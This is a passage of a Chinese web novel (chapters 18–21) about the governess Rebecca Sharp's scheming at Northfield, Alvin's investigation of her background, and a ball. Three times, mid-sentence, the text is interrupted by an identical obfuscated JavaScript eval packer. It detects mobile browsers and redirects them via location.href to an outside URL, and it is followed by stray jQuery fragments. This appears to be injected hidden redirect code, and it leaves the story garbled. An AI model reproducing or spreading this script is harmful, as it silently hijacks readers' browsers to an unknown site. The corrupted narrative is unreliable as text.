薰衣草的味道，那天晚上他在小旅馆见到她时，她头发上某种味道，原来来自这里。 他想起来了，诺斯菲尔德庄园的习惯，往枕头里塞薰衣草助眠。 剩下的几种味道是，肥皂和杏仁，肥皂是拿来洗头发的，杏仁味应该来自杏仁油，常用来养护头发，照理说，这几种味道都很普通，不至于给人留下多么深刻的印象。 但他现在再闻到薰衣草，只能想到她，甚至就在这短短的几分钟里，薰衣草的味道似乎变了。 记忆与现实的界限逐渐模糊，枕芯散发出来的，不再是薰衣草的味道，而是她的味道。 18. 第 18 章 瑞蓓卡刚刚走出房间，一道声音从她耳畔响起。 “这是西蒙的房间。” 年轻人的声音又冷又傲，她顺着声音望过去，阿尔文靠在走廊墙壁，距离她的左肩只有十几厘米。 她捞起一小缕头发，用手指卷着玩。 “因为我占了利安德尔少校的房间，还有你付给我的五英镑，所以你用进房间不敲门报复我？” 阿尔文散漫地看着对面，没有看她，没有回答，戴着单片眼镜的侧脸，没有任何表情的掩饰，暴露出冷漠的底色。 瑞蓓卡突然觉得事情有些超出想象。 刚刚他看到自己洗澡时的愣神和惊吓，不似作伪，她以为打破了他冷淡的面具，没想到只有几秒钟而已。 如果那样赤裸相对，也只能勉强做到这个地步，那她该做到什么程度才能拿下他？ 她稳了稳心神，绕到阿尔文身前，侵入他的视线范围。 “伊文顿的旅馆女佣，把我的裙子误送到你的房间，时间就在你离开前，后来我和女佣再去你的房间找裙子，什么都没找到，你见过那条裙子吗？” “没有。”阿尔文面不改色地矢口否认。 “那你待在这儿，是想跟我说什么呢？”她刚刚洗完澡，平常苍白的脸颊，在此刻洋溢着几缕红晕，碧绿的双眼像是浸过水，湿漉漉亮晶晶。 被她身上洗澡后的余温，烫得有股想离开的冲动，阿尔文迫使自己直面她的热情，冷笑一声。 “西蒙是我母亲最小的弟弟，一直最受我母亲的喜爱，你才来到诺斯菲尔德几天，能住进这间屋子，想必费了不少心机吧？” 瑞蓓卡警觉：“你要干什么？” “当然是尽儿子和哥哥的职责，认真调查你的背景。” “你要调查我，又何必通知我呢？是想报复我，希望我在听到这句话后，后悔不已？” 调查？瑞蓓卡有些紧张，她现在的地位，只有一小部分源自她的努力，更多的来自母亲昂特勒夏女伯爵的贵族身份，如果没有蒙默朗西家族后裔的名头，布克德太太特纳将军等人，绝不会像现在那么抬举她。 但还有种情况，比没有这个高贵的头衔更可怕。 一旦他们知道昂特勒夏女伯爵，流落英国后，靠跳芭蕾舞谋生，绝对会极大地损害他们对这份贵族血脉的感情。 别说继续跟罗姆塞的众人交朋友，连家庭教师的职位，都不一定能保得住。 她是绝对经不起查的。 瑞蓓卡笑笑，试图把话题变得暧昧：“我还以为经过刚刚的事情，我们的恩怨已经两清。” “与某天突然辞退你相比，提前通知你，让你生活在达摩克利斯之剑①下，整日惴惴不安，更符合我对报复这个词的认知。” 布克德太太回来，看到瑞蓓卡终于回来，简直比见到儿子回来还要兴高采烈。 “哦哦，我的小蓓姬，你怎么才回来？温彻斯特是不是很漂亮？一定是朗弗罗夫人和朗弗罗小姐要留在那儿多玩一天，你也跟着留在那儿玩了？” 瑞蓓卡将自己被朗弗罗家抛下的事，添油加醋地说一遍，又流下几滴虚假的眼泪，布克德太太立刻表示，明天为庆祝阿尔文回来举办的舞会，绝不会邀请朗弗罗一家。 “妈妈，朗弗罗先生是我的大学同学，我还想见他呢。” 阿尔文瞥瞥那个女人梨花带雨的模样，心中很是轻蔑。 说她聪明，好像有时候确实挺聪明，但有时候又很蠢。 寻常小姐被人抛下，不得不在雨夜独自乘坐公共马车，哭成这样很合理，她这种敢和旅馆老板吵架敢勒索陌生人的女人，就是被人抛弃到战场上，都能完好无损地逃回来，绝不掉一滴泪。 如果剩余的力气多得没处使，她只会破口大骂，而不是哭泣。 难道她有底气认为他不会拆穿她？ 阿尔文想了想，好像他确实没打算拆穿她。 关于伊文顿两人相遇的事，瑞蓓卡没有提起一个字，两人都十分有默契地没告诉布克德太太。 第二夜的舞会，朗弗罗一家还是来了，包括前天在温彻斯特说要去伦敦住几天的朗弗罗母女。 瑞蓓卡昨天听到阿尔文要调查她的惶恐，已经完全消失。 在被阿尔文告知的当晚，她便给平克顿小姐寄去一封信，警告对方不要随意向外人透露她的出身。 “如果人们知道我的母亲是个歌剧女郎，名声受损的不止我一个人，平克顿女校曾有个出身低劣的教师，这样的事情一旦宣扬出去，对贵校并没有什么好处。我在贵校任职三年，三年里所有曾受我教育的学生，他们的家长知道这件事，一定气冲冲出现在校长办公室里，脱下手套，砸到您的脸上②……” 处理完这件事，她心里只剩下激动。 马车声音从六点开始络绎不绝，罗姆塞是个大镇，够格参加舞会的人家，足足有五十多户，规模一点儿也不输给伦敦的舞会！ 她穿上爱米莉亚赠给她的粉绸晚装，任由女佣摆弄她的头发，心里盘算着需要结交的人的数量。 临出门时，她小心翼翼地戴上温彻斯特侯爵夫人赠给她的胸针，这枚胸针与她的服装并不怎么搭，但她很需要它的帮助。 已经是昨日黄花的蒙默朗西家族和昂特勒夏伯爵，带给她的助力，怎么比得上正得势的温彻斯特侯爵？虽然她与侯爵夫人交情不深，但只要适当进行一些语言的修饰…… 女佣推开门，她一走出去，对面的门也跟着打开，阿尔文走出来。 不同于之前的旅行风衣和昨天的狩猎装，精良的蓝色礼服和礼帽，搭配上单片眼镜，更切合他藏在文质彬彬下的冷傲气质。 阿尔文瞥瞥她，不情不愿地摘下帽子，向她行礼，伸出胳膊。 瑞蓓卡面带笑容地回礼，像是完全忘记之前的恩怨和他的报复，很自然地挽住他的胳膊。 “阿尔文先生，你怎么没下楼迎接客人？” “我母亲收到一封信，我的小舅舅西蒙，要回来休假，她倒在我的怀里激动得差点哭晕过去，把我的礼服弄得全是眼泪，我不得不上楼换衣服。”阿尔文的神色有些不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918377|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听说利安德尔少校已经出国七年，布克德太太如此激动，是人之常情，客人们不会计较的。” 瑞蓓卡以为阿尔文是因为布克德太太的失态不高兴。 对于利安德尔少校本人，她一点儿也不感兴趣。 人们都说那些驻扎在海外的军人，风吹日晒之下，老得特别厉害，在她眼中，利安德尔少校，大概是个与特纳将军差不多的人，军衔还不如将军高，完全不值得入她的眼。 舞会的第一支舞，她是与特纳将军一起跳的，第二支舞的舞伴是朗弗罗先生，后面几支舞也都有舞伴，唯独少了一个人。 直到中场休息，阿尔文一直在跟别人跳舞，完全没关注她这边的情况，连一个眼神都没有。 注意到她一直关注阿尔文，朗弗罗先生有意无意地，不断提起阿尔文在大学时的情况，把他夸得像是百年难遇的天才。 阿尔文比朗弗罗先生小四岁，两人却同时毕业。 二十岁修习完法律，进入伦敦最著名的律师事务所，确实算是天才。 朗弗罗先生的意思，瑞蓓卡很明白，他无非是想让她爱上阿尔文，放弃特纳将军，为朗弗罗夫人减少一个对手。 她虽然暂时没有嫁给特纳将军的念头，但不会主动放弃任何人。 不过朗弗罗先生此举，也不是全无意义，她借着这个机会，打听到不少阿尔文的事情，知道他喜欢古典文学，还曾在报纸上发表过长诗，在学校里很受欢迎，朋友众多…… 但这些都不是她最感兴趣的，她最感兴趣的是布克德家族，究竟有多少财产。 她打听出朗弗罗先生作为教区长的薪水为四百镑，按照什一税③的标准计算，诺斯菲尔德每年的收入大概是四千镑。 阿尔文和布克德太太各有一辆四轮马车，庄园里还有一辆敞篷四轮马车，以及一辆双轮轻便马车，每年光养这些马车的花费，都不止两千镑。 再加上阿尔文在伦敦的花销，布克德太太请客的花费，四千镑似乎远远不够。 看样子，布克德家应该还有其他产业。 “夏普小姐，阿尔文先生回来之后，你们两个还没跳过舞对吗？”特纳将军始终注意着她，见她对阿尔文如此在意，朗弗罗先生又不停地称赞阿尔文，他选择釜底抽薪，从根本上解决问题。 阿尔文大概率看不上她这样没嫁妆的小姐，他要让她明白这一点，让她死心。 “特纳将军，您这样问，难道是想将我引荐给他？” 瑞蓓卡刚说完，特纳将军朝她伸出手，她欣喜地挽住他的胳膊，一同往阿尔文的方向走去。 “阿尔文先生，不知道你的下一支舞有没有选定舞伴？”特纳将军一边说，一边看看瑞蓓卡，意思非常明显。 阿尔文脸上带着微笑看着将军：“我已经邀请朗弗罗小姐。” 不远处的朗弗罗小姐听到这话，漂亮的脸蛋儿，一瞬间有些错愕，但还是很快反应过来。 她走上来挽住阿尔文的胳膊：“下一支舞马上就要开始，我们赶紧过去吧。” 19. 第 19 章 “你看见她这个样子，就知道我在信中的描述一点也不假。” 阿尔文浅笑：“我倒觉得信里的描述有些夸张，无论怎么看，夏普小姐都是个无名小卒，不足挂齿。” 据他的观察，瑞蓓卡看上去还挺受欢迎，但那不过是她营造的幻象。 碍于出身，人们没那么接受她，更没多么喜欢她，只是她足够讨喜，又热情洋溢，能将人们对她的三分喜爱，营造成自己十分受欢迎。 其实认真看看，便能看出，有几个人真正拿她当做地位平等的朋友呢？ 无论男人女人，都把她当做是种赏心悦目的消遣，包括特纳将军在内。 朗弗罗小姐在信里写，特纳将军被她迷昏了头，他半点儿都没看出来。 特纳将军是个足够成熟理性的人，他认为，将军至多拿她当做一个备选项而已，除非没有更好的选择，否则将军绝不会轻易向她求婚。 不过，他还是打算解决掉她。 不管她是不是蒙默朗西家族的后裔，也不管她有什么目的。 朗弗罗小姐皱皱眉：“你打算放任她在罗姆塞搅弄风云？” “搅弄风云？”他讶然失笑，“真没想到她能得到这么高的评价。” “难道她还做得不够？还不够张狂？非得等到我们不得不与女佣、马夫共舞时，才称得上翻天覆地吗？”朗弗罗小姐捏着扇子的手捏得关节有些发白。 “你说得很对，她确实很张狂，锋芒毕露，像个时刻准备粉墨登场的女舞者，鼓足劲想用她的魅力在上流社会进行狂轰滥炸，考虑到她姓夏普（sharp锋利的），不懂得收敛锋芒很正常……” 阿尔文说到这儿时，朗弗罗小姐的脸色已经变得非常难看，满脸都写着对他答非所问的不爽。 他其实可以告诉她，他很快能解决掉瑞蓓卡的问题，但他一点儿也不想说，不想让她觉得是她的那封信或是建议，产生了作用。 他讨厌朗弗罗小姐的那副臭架子，身无分文，谁在乎她的父亲和哥哥是不是准男爵？ 顶着朗弗罗小姐不悦的目光，他继续说：“不知道特纳将军是否会娶她，反正最近无事，伦敦那边没有案子，我可以待在家里看好戏。说不定会有别的发展，你哥哥对她也挺在意的。” 朗弗罗小姐用鼻子哼哼两声：“你也挺在意她的，虽然是负面的。” 两人来到舞池，跟随众人排成男女两列，面对面站好。 瑞蓓卡姗姗来迟，身边的男伴已经换成罗姆塞民兵团的团长，兰斯上校。 她站在队列最边上往里望，小小的个子，挤在一众人中，显得很渺小。 “上校，我想在人群中跳舞。” 声音甜腻做作，却带着莫名的可爱，聪明漂亮懂分寸的人，做作时也不显得矫情，反而彰显情调风趣。 他忍不住看向她的眼睛，绿眼睛不仅像设想中的一样，充满情调，还带着某种狡黠，正目不转睛地盯着自己。 兰斯上校点点头，目光望队列中间飘，停在他身边的某位民兵团军官身上。 下一秒，那位军官带着舞伴离开他身边的位置，走到兰斯上校身边小声说了什么。 当开场舞的曲子响起时，兰斯上校已经取代刚刚那位军官的位置，站在他身旁，瑞蓓卡站在他斜对面，朗弗罗小姐的旁边。 按照双纵队型乡村舞的跳法，每跳几个节拍，都要与身边的人互换舞伴，他最终还是要挽住她的手。 与朗弗罗小姐共舞的部分，非常短暂，快得出奇。 一眨眼的功夫，他握住了瑞蓓卡的手。 她的手在他手中显得非常小，但比她那小小的个子来说，这双手并不小。 那是一双很柔软的手，软的出奇，仿佛轻轻用力，就能捏碎她的骨骼，像他能轻而易举地碾死她一样，他也是这么打算的。 所谓的调查，只是走个过场，无论结果如何，他都打算辞退她，不帮她写推荐信，差不多足以断绝掉她大部分的正经生路。 这个年头，好工作基本上不在市场流通，家庭教师作为女性职业的最高选择，往往只有内部人员互相推荐。 一个被莫名辞退，没有推荐信的小姐，没可能换个地方继续当家庭教师，除非她到美洲到印度去。 她会沦落成什么样呢？ 阿尔文差点踩上瑞蓓卡的脚，还好她足够灵活，及时调整舞步，也带动他重新跟上音乐的节拍。 “如果我踩坏你的舞鞋，五英镑足够赔偿吗？” 瑞蓓卡被问得一愣，舞步依旧跟随着曲子，但当她反应过来时，脚步反而变慢，轻轻踩了他一下。 “不需要五英镑，我会记得像现在这样踩回去的，先生。” 阿尔文还想说些什么，紧握着的那双手，突然从手中滑脱。 舞伴又换了回去。 这次与朗弗罗小姐共舞的部分，变得非常慢。 “夏普小姐现在居住的房间，在我心中，是诺斯菲尔德最好的房间，虽然窗户开向庄园的后方，但那几扇窗户特别宽敞，将庄园后面的湖泊和树林一览无余。” 回想着刚刚与瑞蓓卡的舞，他觉得她很具备舞蹈天赋。 等离开诺斯菲尔德，又找不到其他工作，她还可以去跳舞剧。 凭借她的本领，随便傍上一个人，当他的情妇，远比现在借着祖先的虚名，拼命往名利场挤，要简单，也更适合她那种卑贱的人。 “我以前就住在那里，对那里了如指掌，虽然已经是十多年前的事了，但我对于它依旧记忆深刻。说实在，以前利安德尔少校住在里面，再合适不过，现在她住进去，真是叫人难以忍受。” “听说利安德尔少校马上要回来，夏普小姐是不是该物归原主，将卧室还给他？” 面对朗弗罗小姐的喋喋不休，阿尔文很头疼，早知道他还不如一开始答应下特纳将军，与瑞蓓卡跳舞。 这种想法刚一冒出来，立刻被他按下去。 “我想你大概想物归原主得更彻底些，直接把房间归还给最初的主人。” 朗弗罗小姐沉默半天，才说道：“那当然。” 终于他又握住了瑞蓓卡的手。 她微微有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918378|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些出汗，苍白的脸颊，暂时没有变红，却因为汗水折射的烛光，色彩变得很柔和，富有光泽。 那充满愉快的流动着的绿色，更是不得了。 他不想被她的眼睛诱惑，但两人几乎像是环抱着彼此——瑞蓓卡故意靠近他，已经超出正常舞蹈的范围。 两人离得那么近，他又不是对她全无好感，怎么能抵抗住诱惑呢？ 再次换回舞伴时，阿尔文已经决定，同意让母亲为她写封推荐信。 对于自己可耻的退让，他一点也不以为意。 瑞蓓卡站在他胸前时，只到他的肩膀那么高，是那么瘦那么小，尽管行事作风和人品不佳，但她看上去那么可怜，他不该把事情做得太绝，只是辞退她就好。 这一支舞，因为有朗弗罗小姐的存在，变得格外慢。 他不得不痛苦得熬很久，才能重新揽她入怀。 不知道为什么，瑞蓓卡跟兰斯上校跳舞时，总是妙语连珠，咯咯笑个不停，轮到他们两个跳时，她却不说话了。 她只是费力地仰起头，脖子像是被人掐住，往上卡着她的脑袋一样，即使是感到痛苦，感到窒息，她也要抬头看着他，像是中了魔咒，带着笑意，如痴如醉，渴望地看着他。 阿尔文没有任何聊天的想法。他放任自己贪婪地注视着她，反正他马上会辞退她，这造不成什么危险，他的感情也是。 他拼命地控制住想握住白皙的脖子，吻上她仰起的脸的冲动。 那角度一定合适，他们能吻到天荒地老。 两人默默地跳完半支舞。 瑞蓓卡依依不舍地看了他一眼，重新揽着兰斯上校离开。 当看到她笑盈盈地回到其他人的身边，表情没有半点不适，熟练应付起各形各色的人，一股巨大的愤怒突然笼罩他。 她骗了他。 她骗了他！ 他竟然那么容易上她的当，轻易允许自己的情绪，任由她调动！ 甚至对自己要辞退她的决定，感到有些抱歉，甚至对她的出身产生一些惋惜——如果她是个富家女或权贵的女儿，只要对他有一点点儿哪怕是微不足道的用处，他大概都能说服自己，去追求她。 然而现在，他发现一切都是假的。 她对他全无用处，他倒是能助她平步登天，所以她才肯装模作样，仿佛她多么痴迷他似的！ 一个如果有必要的话能爱上所有男人的人，他绝不会怜惜她。 舞会结束的当晚，阿尔文写了封信，命令他的贴身男佣伦恩结束休假，立刻回来，并且要求他到平克顿女校，调查有关瑞蓓卡的一切，最好由平克顿小姐出具一封信。 写完信，他瞥瞥床边的一个箱子。 自从那天从什么顿回来，那个箱子始终未打开，他不让佣人们收拾，如果让他们看到里面有条裙子，还不知道怎么往外说。 只有伦恩来处理，他才能放心。 处理掉裙子，处理掉她，顺便将这份不光彩的感情，也一起处理掉。 他无法解决面对她时的感情，难道还解决不了她吗？ 20. 第 20 章 伦恩先生双手端着盛放信件的银托盘，微微弯腰奉上。 “据平克顿小姐所说，夏普太太生前是位歌剧女郎，夏普先生曾经在平克顿女校担任图画教师，后者是个酒鬼兼赌徒，至于蒙默朗西家族后裔、昂特勒夏女伯爵等说法，平克顿小姐所知甚少……” 阿尔文拿起信，正准备拆开，听到他的话，将信丢回到银托盘上，发出啪的一声。 “歌剧女郎，图画教师？”他挑挑眉，“还真是超乎想象啊。” “平克顿小姐希望您辞退此人时，尽量不要牵连平克顿女校，因此她不肯写信承认夏普小姐有关的事，我稍稍恐吓一番后，她才拿出这封夏普小姐最近写给她的信，我已经检查过，基本上能够佐证以上那番说辞。” 瑞蓓卡写给平克顿小姐的信？ 他再次拿起信拆开，果然里面的落款是瑞蓓卡·夏普。 时间是两人回到诺斯菲尔德，他说要调查她的那天。 瑞蓓卡的字写得很好，漂亮圆润的花体字，在每个字母快要结束处，展露一点点笔锋，文法也很通，威胁起平克顿小姐，也是有理有据。 可惜她的地位太低、影响力太小，否则的话，她的威胁说不定会奏效。 不过依旧是无用功，伦恩先生成为他的贴身男佣前，曾经在军队中服役，后来还当过侦探，即使平克顿小姐有心为她守口如瓶，伦恩先生也有的是办法。 放回信件，阿尔文走到行李箱前，将那条存放已久的裙子拿出来。 由于与他的衣物长时间挤在这个封闭箱子里，裙子沾染上了他的气息，他心里那股迫切想丢掉它的感觉，突然发生极细微的改变。 借住在他的箱子这么久，现在又沾上他的气味，某种程度上，这条裙子算不算是他的物品？ “把这个处理掉。” 伦恩接过裙子，大概是出于职业素养，他什么都没说，但他的眼神已经暴露他的所有想法。 满布皱纹的眼周，因为眯眼的动作变得更加皱皱巴巴，小小的眼珠在裙子和阿尔文身上不停游移。 “你放心，我和她什么关系都没有，你尽管处理这条裙子，我不会哪天突然后悔。” 如果其他佣人敢拿这样的眼神看他，他保证自己会大发雷霆，但伦恩不仅是个佣人，更是他最忠心耿耿的得力助手，能在工作上帮到他。 阿尔文漫不经心地将信封折回去：“一会儿我将告诉布克德太太这件事，辞退她。” “我想向您请示一件事。” “说。” “请允许我把裙子叠起来，藏在我的衬衫里，带到地下室的厨房中烧掉。” “藏在衬衫里？”他看向伦恩的衬衫，“里面有隐藏的口袋？” “没有。” “难道你不觉得这样做很奇怪吗？把女人的裙子，塞到你的衣服里，贴近你的皮肤？” 阿尔文忍不住皱起眉毛，说到最后，他被恶心得，直接从伦恩先生手中夺回那条裙子。 “是很奇怪，但除此之外，没有更好的办法。” 伦恩无奈地看向自家主人，阿尔文正看向手中的裙子，神色镇定，似乎在思考着什么。 下一秒，他径直走向窗户，将裙子丢下去。 “你现在下楼，把裙子拿到树林里埋起来，不许塞进你的衣服里，如果有人看到，你就说这是你的裙子，或者随便扯个谎。” 丢掉裙子，阿尔文像是卸下重担，对待伦恩的说话态度都轻快不少。 对此，代替他背上重担的伦恩，已经心情沉重得无法开口答应这个艰巨的任务。 伦恩点点头，五十岁的老腿迈得飞快，生怕晚一步被人发现，他就得按照主人的安排，告诉别人这是他的裙子。 瑞蓓卡早起陪蕾妮出去散步。 心中估算着布克德太太差不多该醒了，催促蕾妮回去，她还要到布克德太太的房间，帮她选今天白天的衣服首饰，侍弄头发。 上楼时，有个长得有些脸生的男佣，急匆匆地从她和蕾妮身边走过，都没顾得上对她们行礼。 “这人是谁，怎么从来没见过？” “他是伦恩先生，我哥哥的贴身男佣，伦恩可厉害了，他跟着部队去过很多地方，锡兰、冈比亚、几内亚……” 这样厉害的男佣，之前从未见到，现在突然出现，会不会和她有关。 阿尔文不是说要调查她吗？ 来不及细问，她将蕾妮交给女佣，步伐飞快，赶到布克德太太的卧室前敲敲门。 “请进。” 推开门，看见里面只有布克德太太和她的贴身女佣，她稍微松口气，立刻堆起笑容：“太太，您昨夜睡得一定很好吧，今天看上去格外容光焕发呢。” “蓓姬，你说得没错，我现在觉得好极了，自从知道我最小的弟弟西蒙要回来，我睡得一天比一天好。” “我猜利安德尔少校大概也这样儿，高兴得能吃能睡，盼望着养足精神见到您！” 她一边笑盈盈地与布克德太太说话，一边走上前挤开布克德太太的贴身女佣，并从对方手中夺下梳子，帮布克德太太轻轻按摩起头皮。 “还能吃能睡呢！按照他给我写信的时间，他现已经坐了一段时间船了，坐船最熬人！哎，不过这都是次要的，你知不知道我现在最担心什么？” “大概是担心利安德尔上校见到您的容貌一点儿都没变，对比之下，感到心里不平衡吧？” 在海外驻地待久了的军官，都是一副风吹日晒得可怜巴巴的样子，皮肤红皱皱地耷拉下来，没过几年就老得不能看，这是人所共知的事情，也是布克德太太这几日长吁短叹的主要内容。 “我确实很担心他会变得难看，毕竟已经过去七年，谁知道他现在是什么样子呢？但我一直没告诉朋友们，我的最大担忧……” 说到这儿，布克德太太的声音变得很小，她心领神会地侧耳靠上去倾听。 “……你知道的，我喜欢长得漂亮的人，西蒙以前挺好看的，长得还特别像我，我对待他简直比对亲儿子还好，把他当做亲儿子一般疼爱许多年，他对待我也像母亲一样敬爱。” “我真担心发现他真的变丑后，影响我对他的感情，当他回到阔别七年的故土，见到如同母亲的我，却发现我嫌弃他衰老憔悴的模样，该有多伤心？我知道我不该嫌弃亲人，但我对丑人向来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918379|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好态度，我真怕我控制不住自己——” 正认真倾听着布克德太太的烦恼，门忽然被敲了几下，阿尔文的声音在门外响起：“母亲，我有一件事想跟您商量。” “进。” 瑞蓓卡挺直身子，布克德太太收回说悄悄话时捂着嘴的手。 阿尔文一进门看到的便是这样的场景，布克德太太正襟危坐，瑞蓓卡假装忙着梳理布克德太太已经梳好的头发，布克德太太的贴身女佣，站在角落里，愤愤不平地盯着抢走她工作的瑞蓓卡。 “我想跟您单独说话。” 女佣率先出门，瑞蓓卡慢吞吞地跟在后面。 “说吧。” 他把信递给布克德太太，随后打开房门，看见瑞蓓卡和女佣果然离开，才道明来意：“我们得辞退她。” “虽然瑞蓓卡几乎能完全代替琼斯小姐的工作，但我觉得也不必辞退她吧？” 布克德太太一时间没搞明白辞退谁，还以为他想辞退她的贴身女佣，直到她看清楚信的内容。 “哦哦多么有意思的一件事，我的小蓓姬果然非同凡响，我就说看着她身上的那股劲，不像普通家庭培养出来的淑女，原来竟然是这样！” 她拿着信笑个不停，差点笑岔气，好不容易平复下来，发现阿尔文正很不悦地看着她。 “平克顿小姐敢向您推荐这种人，确实很有意思，但我们不能接受她，如果人们知道蕾妮的家庭教师出身如此低贱，她的名声将受到很大影响。” “只要我们不说，没人知道这件事，有个跳舞剧的母亲，赌徒父亲，先天条件如此差劲，夏普小姐能走到这一步，成为家庭教师，出现在我们面前，多么不容易，干嘛为难她呢？” “哎，不知道她在学校里学习时得要多努力，平克顿女校又那么难忍受。” 阿尔文从来没思考过，她像个淑女一样漂亮体面地出现在他面前，要付出多少努力。 布克德太太突然点破这件事，他愣了愣神，但下意识反驳说：“她的品德很可能有问题，绝不会安安分分地当家庭教师。” “那就让她当做朋友留在我身边吧，给蕾妮重新找个家庭教师。” “没有工作约束她，她将有更多精力，花费在罗姆塞的男人身上，这样更会出问题。” 她不得不承认，阿尔文说得对，瑞蓓卡确实喜欢沾花惹草。 但人品是人品，能力是能力。 “不如让她当我的私人秘书吧，正好有她帮忙管理庄园，你不必每个月回来打理庄园，我也不用再为这些烦琐的事情发愁。你觉得六十镑这个年薪怎么样？” “我们不能随便将庄园托付给一个不了解的人，虽然庄园不是我们收入的主要来源，但也不能忽视。” 布克德太太不以为意：“那你就考验考验她嘛，看看她够不够格，除非你找到她身上存在切实缺陷，不能胜任这一职位，否则我绝不会放弃我的秘书。” 他实在厌烦与脑子不清楚的母亲进行讨论，点点头答应下来：“只要有一项不合格，她必须立马走。” “好！” 阿尔文推开门，一道瘦小的身影嗖地闪到楼梯处消失。 21. 第 21 章 咸湿的海风穿梭过港口，伴着汽笛声和人们兴奋的叫喊，一艘渡轮缓缓靠岸，激起层层白色的浪花。 声音和海风的气息，透过马车门窗的缝隙钻进来。 瑞蓓卡摸摸耳上价值三百镑的大颗粒钻石耳坠，钻石和白金的冰冷触感，刺激着她的神经，虽然是借来的珠宝，但能暂时体验一会上等人的快乐，她还是无比兴奋。 对面穿短款骑马夹克的男人，惬意地翘着二郎腿，由佣人举着一盏小小的煤气灯，在昏暗的车厢里看书。 这种环境下还看书，怪不得他要戴眼镜。 如果不知道自己无足轻重，她真的很怀疑他是在作秀。正这样想着，阿尔文突然收起书，看向她。 “该下车了。” 伦恩先生打开车门，阿尔文先下车，向她伸出手。 瑞蓓卡握住他的手，两人都戴上了皮手套，皮料发出轻微摩擦声。 船已经靠岸，舱门齐刷刷打开。 一个又一个可能是利安德尔少校的人，从舷梯上走下。 直到一等舱所有人都走干净，也没有一个叫做西蒙·利安德尔的人走到他们面前。 如果不是“绿洲号”几个大字，清清楚楚地写在船身侧面，瑞蓓卡肯定怀疑他们等错了船。 望着熙熙攘攘的二三等舱乘客，某个疑问在她心中萌生，难道利安德尔少校买得是二等舱，还是他没看到他们，已经离开了？ 阿尔文面无表情地盯着手中的怀表，似乎在计算最多能再等几分钟，那副不耐烦的模样，让她觉得他时刻可能合上怀表转身就走。 一等舱的乘客已经彻底走干净，船员确定这点后，收起舷梯，关闭舱门。 “难道利安德尔少校写给布克德太太信里的时间是错的，还是他没能及时登船？” “这件事不在你该担心的范围内。” 伦恩先生打开车门，阿尔文重新坐回到马车里。 “要不要派人在这儿等着，或者找人打听打听，千万不要发生什么意外。”她没有上车。 阿尔文有些不悦：“考验还没开始，你就打算惹我生气？” 望着船舷上来回走动的船员，她努力地分辨他们的职位，试图找到一个能帮她解决问题的人。 “怎可能？接利安德尔少校只是附带的任务，我没忘记我的考验是跟你去法国，找到——” 说到这儿，阿尔文脸色微微变化，她立刻住口，换上一副笑盈盈的模样：“你放心，我知道什么该说什么不该说。” 那天偷听他们的谈话后不久，她便被告知，必须通过阿尔文的考验，才能成为布克德太太的私人秘书，否则，家庭教师一职，也将不保，她必须离开诺斯菲尔德。 虽然知道阿尔文来者不善，但样仗着布克德太太的宠爱，她自信有布克德太太在身边，面对什么考验都不怕，当即一口答应。 谁想到阿尔文如此奸诈，早料到她想借助克德太太的力量，竟然把考验的地点设置在国外！ 如果在平时，他就算把考验的地点设置在沙漠、冰川、火山，她都有办法鼓动布克德太太一同前往，而现在利安德尔少校离开英国七年第一次回来，布克德太太绝不可能同意在这个关键时刻离开英国。 起初被告知她得跟着阿尔文去法国，她还有些疑惑，自己再难缠，也不至于他做到这个地步吧？ 现在利安德尔少校失踪，阿尔文态度冷漠，她总算弄明白，原来是阿尔文不喜欢利安德尔少校，考验她只是个幌子，他不想见利安德尔少校才是真的。 鉴于阿尔文曾经的威胁，还有那天她偷听到的话，她认为自己无论表现如何，都逃不掉被打上“不合格”标签被辞退的命运。 唯一的破局关键是布克德太太，只要布克德太太不松口，阿尔文再怎么说她在考验中不合格，都没用。 利安德尔少校，作为布克德太太口中亲儿子一般的人物，她决不能对他的情况不管不问，一走了之。 后天她和阿尔文就要乘船前往法国，留布克德太太一个人在英国，布克德太太更加不知道怎样寻找利安德尔少校，这正是她表现自己的好时机。 瞅到一个大副打扮的人物，她顾不上跟阿尔文解释更多，立刻拎起裙子，往那些还没收起的舷梯上跑。 “让一让，麻烦让一让！” 躲开零零星星几个下等舱的乘客，她顺利挤到舱门前。 舱门前的船员，瞪大眼睛，看着她：“小姐，现在是下船的时间，还没到该登船的时候，而且这是二三等舱乘客……” 舷梯与舱门衔接处，大概有两层楼那么高，她站在上面往后看，阿尔文走下车，愤怒地看着她，然后与伦恩先生说了几句话，伦恩先生点点头，开始朝她走。 那个船员见她衣饰贵重，不怎么敢阻拦她，循着记忆中大副所在的位置，她很快步走到船舷，找到大副。 她跟大副说明白情况，要求查看乘客登记表。 